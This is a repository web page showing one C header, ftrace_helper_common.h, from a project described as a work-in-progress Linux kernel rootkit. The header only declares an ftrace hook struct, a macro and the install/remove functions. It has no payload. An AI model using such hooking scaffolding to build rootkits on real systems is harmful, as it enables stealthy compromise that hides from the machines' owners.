mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

ftrace_helper_common.h (1122B)

      1 #ifndef __FTRACE_HELPER_COMMON_H
      2 #define __FTRACE_HELPER_COMMON_H
      3 
      4 #include <linux/ftrace.h> // For struct ftrace_ops, ftrace_func_t
      5 
      6 /* We pack all the information we need (name, hooking function, original function)
      7  * into this struct. This makes it easier for setting up the hook and just passing
      8  * the entire struct off to fh_install_hook() later on.
      9  * */
     10 struct ftrace_hook {
     11     const char *name;
     12     void *function;
     13     void *original;
     14 
     15     unsigned long address;
     16     struct ftrace_ops ops;
     17 };
     18 
     19 #define HOOK(_name, _hook, _orig) \
     20     {                             \
     21         .name = (_name),          \
     22         .function = (_hook),      \
     23         .original = (_orig),      \
     24     }
     25 
     26 // Function declarations
     27 // These functions are defined in ftrace_helper.h and their definitions are
     28 // "owned" by sources/mina.c, which includes the full ftrace_helper.h.
     29 int fh_install_hook(struct ftrace_hook *hook);
     30 void fh_remove_hook(struct ftrace_hook *hook);
     31 int fh_install_hooks(struct ftrace_hook *hooks, size_t count);
     32 void fh_remove_hooks(struct ftrace_hook *hooks, size_t count);
     33 
     34 #endif /* __FTRACE_HELPER_COMMON_H */